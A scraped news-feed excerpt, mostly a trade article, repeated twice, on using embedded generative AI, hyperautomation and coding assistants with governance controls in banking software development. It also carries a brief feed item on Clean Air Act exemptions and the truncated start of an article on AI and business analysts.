<p class="wp-block-paragraph">Embedded Generative AI adds a <a href="https://assets.ctfassets.net/5965pury2lcm/65QHMnfLGaRJzJ0sX5982o/520b5f0a9745aecc8730c645994e3a3b/Forrester_Study_-_AI_And_The_Next_Generation_of_Software_Testing.pdf">new layer of intelligence</a>. Instead of forcing every user interaction into rigid screens and codes, business applications can accept natural language prompts, interpret document content, summarize cases, generate draft responses, explain anomalies, produce test scenarios and create release notes. In a banking environment, this intelligence must be carefully bounded. Every AI-assisted action should be traceable, explainable, reviewable and aligned with data privacy, model risk, information security and regulatory expectations. The goal is not uncontrolled autonomy; the goal is governed acceleration.</p>



<h2 class="wp-block-heading">Banking application components suitable for hyperautomation</h2>



<p class="wp-block-paragraph">A modern banking application is rarely a single monolithic system. It is a composition of business capabilities, integration services, workflow engines, data pipelines, user experience layers, analytics models, control dashboards and audit stores. Hyperautomation can accelerate the development and integration of these components by turning repetitive engineering work into <a href="https://www.everestgrp.com/report/egr-2024-31-v-6318/">reusable patterns</a> and by embedding intelligence directly into business processes.</p>



<ul class="wp-block-list">
<li><strong>Trade reporting applications:</strong> Generative AI can help map trade attributes to regulatory fields, explain validation failures, summarize rejected submissions and generate test cases for reporting scenarios. Hyperautomation can orchestrate enrichment, validation, submission, acknowledgement tracking and evidence archival.</li>



<li><strong>Wealth management platforms:</strong> Advisors can use embedded AI to summarize client portfolios, generate suitability narratives, identify missing documents and prepare personalized investment review notes. Automation can coordinate onboarding, risk profiling, document verification, portfolio rebalancing workflows and client communication approvals.</li>



<li><strong>Core banking applications:</strong> Account opening, loan servicing, deposits, payments, interest calculations and customer maintenance can benefit from automated validations, intelligent forms, workflow routing and natural language assistance for operations teams. AI can explain account events or transaction exceptions in plain language.</li>



<li><strong>Investment banking systems:</strong> Deal pipelines, research workflows, underwriting processes, trade lifecycle functions and risk calculations require strong coordination across front-office, middle-office and back-office platforms. Hyperautomation can standardize approvals, documentation, exception resolution and control evidence across these stages.</li>



<li><strong>Digital compliance applications:</strong> Compliance teams can use AI to summarize policy obligations, compare regulatory changes with internal controls, classify alerts, draft investigation notes and produce evidence packs. Automation ensures routing, approvals, segregation of duties, audit trails and regulatory reporting timelines are consistently enforced.</li>



<li><strong>Reconciliation platforms:</strong> AI can assist in matching narratives, explaining breaks, clustering exception patterns and suggesting resolution actions. Hyperautomation can pull data from ledgers, statements, payment processors, trading systems and data warehouses, then route unresolved breaks to the right teams.</li>



<li><strong>Reporting and audit applications:</strong> Daily, weekly and monthly reports can be generated through controlled data pipelines, automated quality checks, narrative generation, variance explanations and approval workflows. Audit applications can preserve lineage, approvals, source extracts, model outputs and control attestations.</li>
</ul>



<h2 class="wp-block-heading">Embedded generative AI as an application capability</h2>



<p class="wp-block-paragraph">Embedding Generative AI into business applications should be treated as an architectural capability, not as a decorative chatbot. A banking application may use AI for search, summarization, reasoning support, content generation, code generation, policy interpretation or anomaly explanation. Each use case requires clear boundaries. The application must know which data the model can access, which actions require approval, what evidence must be captured and where deterministic controls must override probabilistic <a href="https://www.idc.com/resource-center/generative-ai/">suggestions</a>.</p>



<p class="wp-block-paragraph">For example, in trade reporting, an embedded AI assistant can explain why a transaction failed validation and suggest likely fields to review. However, the final correction should pass through rule-based validations, maker-checker approval and audit logging. In wealth management, AI may draft a client review note based on portfolio movements and risk profile, but the advisor must verify suitability, disclosures and final communication. In reconciliation, AI can propose likely matches or categorize break reasons, while the system preserves the original data, confidence score, reviewer action and final resolution path.</p>



<h2 class="wp-block-heading">Hyperautomating the product development lifecycle</h2>



<p class="wp-block-paragraph">The Product Development Lifecycle can itself become hyperautomated. Instead of treating ideation, analysis, design, development, testing, security review, release and operations as disconnected phases, enterprises can create an AI-assisted delivery loop where every stage produces structured artifacts that the next stage can consume. Platforms such as GitHub Copilot, Claude Code or Claude Cowork-style agentic development environments and OpenAI Codex can support this movement by helping teams reason over requirements, generate code, create tests, review changes, modernize legacy modules and produce <a href="https://www.cio.com/article/1307309/the-generative-ai-revolution-is-transforming-how-banks-work.html">documentation</a>. Their value increases when they are connected to repositories, issue trackers, design documents, build pipelines, test suites, security scanners, observability data and enterprise knowledge bases.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>PDLC Stage</strong></td><td><strong>Hyperautomation Opportunity</strong></td><td><strong>AI-Assisted Outcome</strong></td></tr><tr><td>Business discovery</td><td>Process mining, domain interviews, regulatory mapping, backlog creation</td><td>Structured epics, user stories, acceptance criteria, process maps and control requirements</td></tr><tr><td>Architecture and design</td><td>Reference architectures, API contracts, data models, event flows, security patterns</td><td>Architecture options, integration blueprints, threat-model prompts and design decision records</td></tr><tr><td>Development</td><td>Code generation, service scaffolding, UI component creation, data pipeline templates</td><td>Review-ready code increments, reusable components, migration utilities and integration adapters</td></tr><tr><td>Testing</td><td>Unit, integration, regression, performance, compliance and synthetic data testing</td><td>Generated test cases, defect reproduction steps, test automation scripts and coverage summaries</td></tr><tr><td>Security and compliance review</td><td>Static analysis, dependency checks, policy validation, evidence capture</td><td>Risk explanations, remediation suggestions, control traceability and approval evidence</td></tr><tr><td>Release and deployment</td><td>CI/CD orchestration, environment promotion, release notes, rollback preparation</td><td>Automated deployment packs, release summaries, operational checklists and change records</td></tr><tr><td>Operations and feedback</td><td>Observability, incident analysis, user feedback mining, backlog refinement</td><td>Incident summaries, root-cause hypotheses, improvement stories and reliability recommendations</td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Role of GitHub Copilot, Claude Cowork and Codex</h2>



<p class="wp-block-paragraph">GitHub Copilot is useful where developers need assistance inside the engineering flow: explaining code, generating functions, proposing tests, reviewing pull requests and helping teams move from issue to implementation. In a banking PDLC, it can accelerate microservice creation, API integration, batch processing logic, reconciliation rules, regulatory validation routines and UI workflows. When used with repository context and proper review discipline, it can reduce the time developers spend on repetitive coding while preserving human accountability for design and correctness.</p>



<p class="wp-block-paragraph">Claude Cowork or Claude Code-style agentic environments are valuable for multi-file reasoning, refactoring, debugging and documentation-heavy engineering work. Banking applications often contain deep domain logic scattered across services, configuration files, stored procedures, integration scripts and test suites. An agentic coding assistant that can understand a wider codebase context can help engineers analyze dependencies, prepare modernization plans, update multiple files coherently and draft explanations for reviewers. This is particularly useful in core banking modernization, trade reporting rule updates and compliance workflow refactoring.</p>



<p class="wp-block-paragraph">OpenAI Codex can support issue-to-pull-request workflows, test generation, code review, bug reproduction, migration activities and broader software engineering tasks across the lifecycle. In a hyperautomated PDLC, Codex-like agents can be assigned well-scoped work items, asked to inspect failing tests, propose fixes, create regression coverage and summarize the change for human reviewers. The important design principle is to keep agents inside controlled boundaries: clear prompts, repository permissions, test gates, approval workflows and traceable outputs.</p>



<h2 class="wp-block-heading">Integration architecture for hyperautomated banking applications</h2>



<p class="wp-block-paragraph">A practical architecture begins with business capability decomposition. Each banking domain should be expressed as a set of bounded capabilities such as customer onboarding, account maintenance, trade enrichment, exception management, portfolio review, control attestation, report generation and audit retrieval. These capabilities should be exposed through APIs, events, workflow tasks, data products and user interfaces. Hyperautomation then connects these capabilities using orchestration engines, event streams, rules engines, AI services, RPA connectors where legacy integration is unavoidable and observability layers that capture business and technical telemetry.</p>



<p class="wp-block-paragraph">The embedded AI layer should sit behind a secure application service boundary. It should use retrieval-augmented generation where approved policies, product rules, application documentation and regulatory mappings are retrieved from trusted sources. It should avoid uncontrolled exposure of sensitive customer information. Prompt templates, response validation, redaction, grounding checks, model monitoring and human-in-the-loop approval should be part of the production design. In banking, the most successful AI pattern is often not full automation but <a href="https://www.everestgrp.com/report/egr-2024-31-v-6318/">assisted</a> decisioning with strong controls.</p>



<h2 class="wp-block-heading">Example: Hyperautomated reconciliation and reporting flow</h2>



<p class="wp-block-paragraph">Consider a reconciliation application that compares ledger balances, payment files, trade settlement records and external statements. In a conventional model, operations teams spend significant time downloading files, running macros, investigating mismatches, documenting break reasons and preparing status reports. In a hyperautomated model, data ingestion is scheduled and monitored, schema checks run automatically, matching engines classify obvious matches, AI assists with ambiguous narratives, exceptions are routed through workflow queues and dashboards update in near real time. At the end of the day, the system can generate a draft operations <a href="https://www.pwc.com/us/en/industries/financial-services/library/hyperautomation-gen-ai-in-banking.html">report</a> explaining unresolved breaks, aging trends, risk exposure and pending approvals.</p>



<p class="wp-block-paragraph">The same pattern can extend to daily, weekly and monthly reporting. Data quality rules validate inputs, report templates are populated automatically, AI generates narrative commentary on variances, reviewers approve or amend explanations and the final report is archived with lineage and approvals. Audit teams can later retrieve not only the report but also the source extracts, transformation logs, exception history, reviewer decisions and AI-generated drafts. This creates a richer control environment than manual reporting because evidence is captured by design rather than reconstructed later.</p>



<h2 class="wp-block-heading">Governance, risk and control considerations</h2>



<p class="wp-block-paragraph">Hyperautomation in banking must be designed with governance from the beginning. The development team should define which activities can be automated, which can be AI-assisted and which must remain under human approval. Source code generated by AI must pass normal engineering controls, including peer review, static analysis, dependency scanning, secure coding checks, test execution and production readiness review. Business outputs generated by AI, such as compliance narratives or client-facing explanations, should be <a href="https://www.pwc.com/us/en/industries/financial-services/library/hyperautomation-gen-ai-in-banking.html">reviewed</a> where regulatory or reputational risk is material.</p>



<p class="wp-block-paragraph">Data governance is equally important. AI-enabled applications must respect data classification, residency, retention, masking and access policies. The model should not become an uncontrolled channel through which confidential customer, trading or employee information can leak. Every prompt, retrieved source, generated response, user action and final decision may need to be logged depending on the use case. For audit applications, this traceability is not optional; it is the foundation of trust.</p>



<h2 class="wp-block-heading">Operating model for AI-native PDLC</h2>



<p class="wp-block-paragraph">A hyperautomated PDLC requires changes in team behavior. Product owners should write requirements in a structured manner so that AI tools can generate better stories, acceptance criteria and test scenarios. Architects should maintain living decision records, reference patterns and integration standards that AI agents can use as context. Developers should learn prompt discipline, context packaging and review techniques. Test engineers should focus on coverage strategy, synthetic data, compliance scenarios and defect prevention rather than only manual execution. Operations teams should feed incident <a href="https://www.cio.com/article/1307309/the-generative-ai-revolution-is-transforming-how-banks-work.html">learnings</a> back into the backlog so the system improves continuously.</p>



<p class="wp-block-paragraph">The role of human experts becomes more important, not less. AI can draft, generate, compare and suggest, but domain judgment remains essential. A trade reporting specialist understands regulatory nuance. A wealth advisor understands client suitability. A core banking architect understands transaction integrity. A compliance officer understands control interpretation. Hyperautomation works best when it amplifies these experts and removes repetitive friction around them.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Hyperautomation in business application development is not simply a faster way to write software. It is a new way to connect business intent, engineering execution, operational control and continuous learning. In banking, where applications must be reliable, explainable, secure and compliant, the combination of embedded Generative AI and disciplined automation can transform how applications are designed, built, integrated, tested, released and operated. Trade reporting, wealth management, core banking, investment banking, compliance, reconciliation, reporting and audit functions can all benefit when AI is embedded responsibly and automation is orchestrated across the complete lifecycle.</p>



<p class="wp-block-paragraph">Platforms such as GitHub Copilot, Claude Cowork or Claude Code and OpenAI Codex can play an important role in this transformation by accelerating analysis, development, testing, review, modernization and documentation. Their greatest value appears when enterprises treat them not as isolated productivity tools but as part of a governed, AI-native PDLC. The future of banking application development will belong to teams that can combine human expertise, reusable engineering patterns, intelligent automation and strong governance into one coherent delivery model.</p>



<p class="wp-block-paragraph"><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="noreferrer noopener"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="noreferrer noopener"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Challenging Toxic Air Exemptions – and a Pattern of Executive Overreach on Regulatory Rollbacks]]></title>
<description><![CDATA[Together, the Trump administration’s vision of the Clean Air Act’s exemption authority and shutting courts out from review is one of completely unchecked presidential power.
The post Challenging Toxic Air Exemptions – and a Pattern of Executive Overreach on Regulatory Rollbacks appeared first on ...]]></description>
<link>https://tsecurity.de/de/3710263/it-security-nachrichten/challenging-toxic-air-exemptions-and-a-pattern-of-executive-overreach-on-regulatory-rollbacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710263/it-security-nachrichten/challenging-toxic-air-exemptions-and-a-pattern-of-executive-overreach-on-regulatory-rollbacks/</guid>
<pubDate>Fri, 07 Aug 2026 23:47:38 +0200</pubDate>
<content:encoded><![CDATA[<p>Together, the Trump administration’s vision of the Clean Air Act’s exemption authority and shutting courts out from review is one of completely unchecked presidential power.</p>
<p>The post <a href="https://www.justsecurity.org/151435/toxic-air-exemptions-executive-overreach/">Challenging Toxic Air Exemptions – and a Pattern of Executive Overreach on Regulatory Rollbacks</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond chatbots: How embedded GenAI is transforming banking application development]]></title>
<description><![CDATA[Business application development is entering a new operating model. The traditional approach of gathering requirements, designing screens, writing services, integrating systems, testing, fixing defects and preparing release documentation still exists, but it is no longer sufficient for enterprise...]]></description>
<link>https://tsecurity.de/de/3710146/it-nachrichten/beyond-chatbots-how-embedded-genai-is-transforming-banking-application-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710146/it-nachrichten/beyond-chatbots-how-embedded-genai-is-transforming-banking-application-development/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:39 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Business application development is entering a new operating model. The traditional approach of gathering requirements, designing screens, writing services, integrating systems, testing, fixing defects and preparing release documentation still exists, but it is no longer sufficient for enterprises that need speed, traceability, resilience and regulatory confidence at the same time. Hyperautomation brings a broader discipline to this challenge. It combines workflow orchestration, intelligent document processing, robotic automation, API-led integration, process mining, test automation, observability and artificial intelligence into a connected delivery fabric. With embedded Generative AI, this fabric becomes more adaptive because applications can interpret natural language, summarize complex data, generate explanations, detect exceptions and support decision workflows rather than merely execute predefined rules.</p>



<p class="wp-block-paragraph">In banking, this shift is especially meaningful. Banks operate across dense application landscapes: trade reporting platforms, wealth management portals, core banking systems, investment banking applications, digital compliance engines, reconciliation utilities, operational dashboards, audit repositories and daily, weekly and monthly reporting platforms. Each of these areas has its own data models, control points, integration patterns, validation rules, exception paths and regulatory obligations. Hyperautomation does not replace engineering discipline; it strengthens it by making business intent, technical execution, control evidence and continuous improvement part of the same lifecycle.</p>



<h2 class="wp-block-heading">From automation to hyperautomation in banking applications</h2>



<p class="wp-block-paragraph">Automation usually addresses a specific task: moving data from one system to another, generating a report, running a batch job or validating a transaction against a rule. Hyperautomation goes further. It looks at the complete business outcome and asks how the entire chain can be streamlined, governed, observed and improved. For example, a trade reporting process may begin with transaction capture, enrich the trade with reference data, validate regulatory fields, identify breaks, generate a submission file, transmit it to a regulator or trade repository, monitor acknowledgements and preserve audit evidence. A narrow automation script may accelerate one step, but a <a href="https://www.gartner.com/en/documents/6454507">hyperautomated design</a> coordinates the complete flow, including exception handling and evidence generation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/figure-Figure-automation-vs-hyperautomation.png?w=1024" alt="Figure: Automation vs. hyperautomation." class="wp-image-4206308" width="1024" height="775" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p class="wp-block-paragraph"><strong>Figure: Automation vs. hyperautomation</strong></p>



<p class="wp-block-paragraph">Embedded Generative AI adds a <a href="https://assets.ctfassets.net/5965pury2lcm/65QHMnfLGaRJzJ0sX5982o/520b5f0a9745aecc8730c645994e3a3b/Forrester_Study_-_AI_And_The_Next_Generation_of_Software_Testing.pdf">new layer of intelligence</a>. Instead of forcing every user interaction into rigid screens and codes, business applications can accept natural language prompts, interpret document content, summarize cases, generate draft responses, explain anomalies, produce test scenarios and create release notes. In a banking environment, this intelligence must be carefully bounded. Every AI-assisted action should be traceable, explainable, reviewable and aligned with data privacy, model risk, information security and regulatory expectations. The goal is not uncontrolled autonomy; the goal is governed acceleration.</p>



<h2 class="wp-block-heading">Banking application components suitable for hyperautomation</h2>



<p class="wp-block-paragraph">A modern banking application is rarely a single monolithic system. It is a composition of business capabilities, integration services, workflow engines, data pipelines, user experience layers, analytics models, control dashboards and audit stores. Hyperautomation can accelerate the development and integration of these components by turning repetitive engineering work into <a href="https://www.everestgrp.com/report/egr-2024-31-v-6318/">reusable patterns</a> and by embedding intelligence directly into business processes.</p>



<ul class="wp-block-list">
<li><strong>Trade reporting applications:</strong> Generative AI can help map trade attributes to regulatory fields, explain validation failures, summarize rejected submissions and generate test cases for reporting scenarios. Hyperautomation can orchestrate enrichment, validation, submission, acknowledgement tracking and evidence archival.</li>



<li><strong>Wealth management platforms:</strong> Advisors can use embedded AI to summarize client portfolios, generate suitability narratives, identify missing documents and prepare personalized investment review notes. Automation can coordinate onboarding, risk profiling, document verification, portfolio rebalancing workflows and client communication approvals.</li>



<li><strong>Core banking applications:</strong> Account opening, loan servicing, deposits, payments, interest calculations and customer maintenance can benefit from automated validations, intelligent forms, workflow routing and natural language assistance for operations teams. AI can explain account events or transaction exceptions in plain language.</li>



<li><strong>Investment banking systems:</strong> Deal pipelines, research workflows, underwriting processes, trade lifecycle functions and risk calculations require strong coordination across front-office, middle-office and back-office platforms. Hyperautomation can standardize approvals, documentation, exception resolution and control evidence across these stages.</li>



<li><strong>Digital compliance applications:</strong> Compliance teams can use AI to summarize policy obligations, compare regulatory changes with internal controls, classify alerts, draft investigation notes and produce evidence packs. Automation ensures routing, approvals, segregation of duties, audit trails and regulatory reporting timelines are consistently enforced.</li>



<li><strong>Reconciliation platforms:</strong> AI can assist in matching narratives, explaining breaks, clustering exception patterns and suggesting resolution actions. Hyperautomation can pull data from ledgers, statements, payment processors, trading systems and data warehouses, then route unresolved breaks to the right teams.</li>



<li><strong>Reporting and audit applications:</strong> Daily, weekly and monthly reports can be generated through controlled data pipelines, automated quality checks, narrative generation, variance explanations and approval workflows. Audit applications can preserve lineage, approvals, source extracts, model outputs and control attestations.</li>
</ul>



<h2 class="wp-block-heading">Embedded generative AI as an application capability</h2>



<p class="wp-block-paragraph">Embedding Generative AI into business applications should be treated as an architectural capability, not as a decorative chatbot. A banking application may use AI for search, summarization, reasoning support, content generation, code generation, policy interpretation or anomaly explanation. Each use case requires clear boundaries. The application must know which data the model can access, which actions require approval, what evidence must be captured and where deterministic controls must override probabilistic <a href="https://www.idc.com/resource-center/generative-ai/">suggestions</a>.</p>



<p class="wp-block-paragraph">For example, in trade reporting, an embedded AI assistant can explain why a transaction failed validation and suggest likely fields to review. However, the final correction should pass through rule-based validations, maker-checker approval and audit logging. In wealth management, AI may draft a client review note based on portfolio movements and risk profile, but the advisor must verify suitability, disclosures and final communication. In reconciliation, AI can propose likely matches or categorize break reasons, while the system preserves the original data, confidence score, reviewer action and final resolution path.</p>



<h2 class="wp-block-heading">Hyperautomating the product development lifecycle</h2>



<p class="wp-block-paragraph">The Product Development Lifecycle can itself become hyperautomated. Instead of treating ideation, analysis, design, development, testing, security review, release and operations as disconnected phases, enterprises can create an AI-assisted delivery loop where every stage produces structured artifacts that the next stage can consume. Platforms such as GitHub Copilot, Claude Code or Claude Cowork-style agentic development environments and OpenAI Codex can support this movement by helping teams reason over requirements, generate code, create tests, review changes, modernize legacy modules and produce <a href="https://www.cio.com/article/1307309/the-generative-ai-revolution-is-transforming-how-banks-work.html">documentation</a>. Their value increases when they are connected to repositories, issue trackers, design documents, build pipelines, test suites, security scanners, observability data and enterprise knowledge bases.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>PDLC Stage</strong></td><td><strong>Hyperautomation Opportunity</strong></td><td><strong>AI-Assisted Outcome</strong></td></tr><tr><td>Business discovery</td><td>Process mining, domain interviews, regulatory mapping, backlog creation</td><td>Structured epics, user stories, acceptance criteria, process maps and control requirements</td></tr><tr><td>Architecture and design</td><td>Reference architectures, API contracts, data models, event flows, security patterns</td><td>Architecture options, integration blueprints, threat-model prompts and design decision records</td></tr><tr><td>Development</td><td>Code generation, service scaffolding, UI component creation, data pipeline templates</td><td>Review-ready code increments, reusable components, migration utilities and integration adapters</td></tr><tr><td>Testing</td><td>Unit, integration, regression, performance, compliance and synthetic data testing</td><td>Generated test cases, defect reproduction steps, test automation scripts and coverage summaries</td></tr><tr><td>Security and compliance review</td><td>Static analysis, dependency checks, policy validation, evidence capture</td><td>Risk explanations, remediation suggestions, control traceability and approval evidence</td></tr><tr><td>Release and deployment</td><td>CI/CD orchestration, environment promotion, release notes, rollback preparation</td><td>Automated deployment packs, release summaries, operational checklists and change records</td></tr><tr><td>Operations and feedback</td><td>Observability, incident analysis, user feedback mining, backlog refinement</td><td>Incident summaries, root-cause hypotheses, improvement stories and reliability recommendations</td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Role of GitHub Copilot, Claude Cowork and Codex</h2>



<p class="wp-block-paragraph">GitHub Copilot is useful where developers need assistance inside the engineering flow: explaining code, generating functions, proposing tests, reviewing pull requests and helping teams move from issue to implementation. In a banking PDLC, it can accelerate microservice creation, API integration, batch processing logic, reconciliation rules, regulatory validation routines and UI workflows. When used with repository context and proper review discipline, it can reduce the time developers spend on repetitive coding while preserving human accountability for design and correctness.</p>



<p class="wp-block-paragraph">Claude Cowork or Claude Code-style agentic environments are valuable for multi-file reasoning, refactoring, debugging and documentation-heavy engineering work. Banking applications often contain deep domain logic scattered across services, configuration files, stored procedures, integration scripts and test suites. An agentic coding assistant that can understand a wider codebase context can help engineers analyze dependencies, prepare modernization plans, update multiple files coherently and draft explanations for reviewers. This is particularly useful in core banking modernization, trade reporting rule updates and compliance workflow refactoring.</p>



<p class="wp-block-paragraph">OpenAI Codex can support issue-to-pull-request workflows, test generation, code review, bug reproduction, migration activities and broader software engineering tasks across the lifecycle. In a hyperautomated PDLC, Codex-like agents can be assigned well-scoped work items, asked to inspect failing tests, propose fixes, create regression coverage and summarize the change for human reviewers. The important design principle is to keep agents inside controlled boundaries: clear prompts, repository permissions, test gates, approval workflows and traceable outputs.</p>



<h2 class="wp-block-heading">Integration architecture for hyperautomated banking applications</h2>



<p class="wp-block-paragraph">A practical architecture begins with business capability decomposition. Each banking domain should be expressed as a set of bounded capabilities such as customer onboarding, account maintenance, trade enrichment, exception management, portfolio review, control attestation, report generation and audit retrieval. These capabilities should be exposed through APIs, events, workflow tasks, data products and user interfaces. Hyperautomation then connects these capabilities using orchestration engines, event streams, rules engines, AI services, RPA connectors where legacy integration is unavoidable and observability layers that capture business and technical telemetry.</p>



<p class="wp-block-paragraph">The embedded AI layer should sit behind a secure application service boundary. It should use retrieval-augmented generation where approved policies, product rules, application documentation and regulatory mappings are retrieved from trusted sources. It should avoid uncontrolled exposure of sensitive customer information. Prompt templates, response validation, redaction, grounding checks, model monitoring and human-in-the-loop approval should be part of the production design. In banking, the most successful AI pattern is often not full automation but <a href="https://www.everestgrp.com/report/egr-2024-31-v-6318/">assisted</a> decisioning with strong controls.</p>



<h2 class="wp-block-heading">Example: Hyperautomated reconciliation and reporting flow</h2>



<p class="wp-block-paragraph">Consider a reconciliation application that compares ledger balances, payment files, trade settlement records and external statements. In a conventional model, operations teams spend significant time downloading files, running macros, investigating mismatches, documenting break reasons and preparing status reports. In a hyperautomated model, data ingestion is scheduled and monitored, schema checks run automatically, matching engines classify obvious matches, AI assists with ambiguous narratives, exceptions are routed through workflow queues and dashboards update in near real time. At the end of the day, the system can generate a draft operations <a href="https://www.pwc.com/us/en/industries/financial-services/library/hyperautomation-gen-ai-in-banking.html">report</a> explaining unresolved breaks, aging trends, risk exposure and pending approvals.</p>



<p class="wp-block-paragraph">The same pattern can extend to daily, weekly and monthly reporting. Data quality rules validate inputs, report templates are populated automatically, AI generates narrative commentary on variances, reviewers approve or amend explanations and the final report is archived with lineage and approvals. Audit teams can later retrieve not only the report but also the source extracts, transformation logs, exception history, reviewer decisions and AI-generated drafts. This creates a richer control environment than manual reporting because evidence is captured by design rather than reconstructed later.</p>



<h2 class="wp-block-heading">Governance, risk and control considerations</h2>



<p class="wp-block-paragraph">Hyperautomation in banking must be designed with governance from the beginning. The development team should define which activities can be automated, which can be AI-assisted and which must remain under human approval. Source code generated by AI must pass normal engineering controls, including peer review, static analysis, dependency scanning, secure coding checks, test execution and production readiness review. Business outputs generated by AI, such as compliance narratives or client-facing explanations, should be <a href="https://www.pwc.com/us/en/industries/financial-services/library/hyperautomation-gen-ai-in-banking.html">reviewed</a> where regulatory or reputational risk is material.</p>



<p class="wp-block-paragraph">Data governance is equally important. AI-enabled applications must respect data classification, residency, retention, masking and access policies. The model should not become an uncontrolled channel through which confidential customer, trading or employee information can leak. Every prompt, retrieved source, generated response, user action and final decision may need to be logged depending on the use case. For audit applications, this traceability is not optional; it is the foundation of trust.</p>



<h2 class="wp-block-heading">Operating model for AI-native PDLC</h2>



<p class="wp-block-paragraph">A hyperautomated PDLC requires changes in team behavior. Product owners should write requirements in a structured manner so that AI tools can generate better stories, acceptance criteria and test scenarios. Architects should maintain living decision records, reference patterns and integration standards that AI agents can use as context. Developers should learn prompt discipline, context packaging and review techniques. Test engineers should focus on coverage strategy, synthetic data, compliance scenarios and defect prevention rather than only manual execution. Operations teams should feed incident <a href="https://www.cio.com/article/1307309/the-generative-ai-revolution-is-transforming-how-banks-work.html">learnings</a> back into the backlog so the system improves continuously.</p>



<p class="wp-block-paragraph">The role of human experts becomes more important, not less. AI can draft, generate, compare and suggest, but domain judgment remains essential. A trade reporting specialist understands regulatory nuance. A wealth advisor understands client suitability. A core banking architect understands transaction integrity. A compliance officer understands control interpretation. Hyperautomation works best when it amplifies these experts and removes repetitive friction around them.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Hyperautomation in business application development is not simply a faster way to write software. It is a new way to connect business intent, engineering execution, operational control and continuous learning. In banking, where applications must be reliable, explainable, secure and compliant, the combination of embedded Generative AI and disciplined automation can transform how applications are designed, built, integrated, tested, released and operated. Trade reporting, wealth management, core banking, investment banking, compliance, reconciliation, reporting and audit functions can all benefit when AI is embedded responsibly and automation is orchestrated across the complete lifecycle.</p>



<p class="wp-block-paragraph">Platforms such as GitHub Copilot, Claude Cowork or Claude Code and OpenAI Codex can play an important role in this transformation by accelerating analysis, development, testing, review, modernization and documentation. Their greatest value appears when enterprises treat them not as isolated productivity tools but as part of a governed, AI-native PDLC. The future of banking application development will belong to teams that can combine human expertise, reusable engineering patterns, intelligent automation and strong governance into one coherent delivery model.</p>



<p class="wp-block-paragraph"><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="noreferrer noopener"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="noreferrer noopener"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI is changing the business analyst role for the better]]></title>
<description><![CDATA[AI’s impact has been felt across nearly every industry, and its rise has already started to alter several roles in tech, including that of the business analyst. While the rise of agentic AI may have some questioning whether AI will replace business analyst jobs entirely, as we’ve seen with most r...]]></description>
<link>https://tsecurity.de/de/3710149/it-nachrichten/how-ai-is-changing-the-business-analyst-role-for-the-better/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710149/it-nachrichten/how-ai-is-changing-the-business-analyst-role-for-the-better/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:39 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI’s impact has been felt across nearly every industry, and its rise has already started to alter several roles in tech, including that of the <a href="https://www.cio.com/article/276798/what-is-a-business-analyst-a-key-role-for-business-it-efficiencywhat-is-a-business-analyst-a-key-role-for-business-it-efficiency.html">business analyst</a>. While the rise of agentic AI may have some questioning whether AI will replace business analyst jobs entirely, as we’ve seen with most roles impacted by AI, it’s more likely that AI will augment the role and fundamentally change how BA’s conduct daily business.</p>



<p class="wp-block-paragraph">“As AI takes on more routine tasks, the human side of the role is becoming even more valuable. It’s becoming more of a hybrid role, where employers are often looking for candidates who can combine technical fluency with strong communication and problem-solving skills, along with sound business judgment,” says Megan Slabinski, district president of technology talent solutions at Robert Half.</p>



<p class="wp-block-paragraph">AI can save business analysts time in the long run, automating many of the tasks that are time consuming and repetitive around data processing, note taking, and documentation. While automation will impact the daily tasks of the role, business analysts will still be necessary for properly interpreting outputs, collaborating across teams, and maintaining compliance and AI workflows.</p>



<h2 class="wp-block-heading">AI-driven analysis and automated workflows</h2>



<p class="wp-block-paragraph">With AI-driven analysis, BA’s can use machine learning models for pattern detection, determining risk, and for forecasting demand, while natural language processing (NLP) can be used for text-heavy inputs. AI tools can also assist analysts with decision-making by transcribing meetings and automatically identifying any necessary business requirements, constraints, risks, or dependencies that will impact the project.</p>



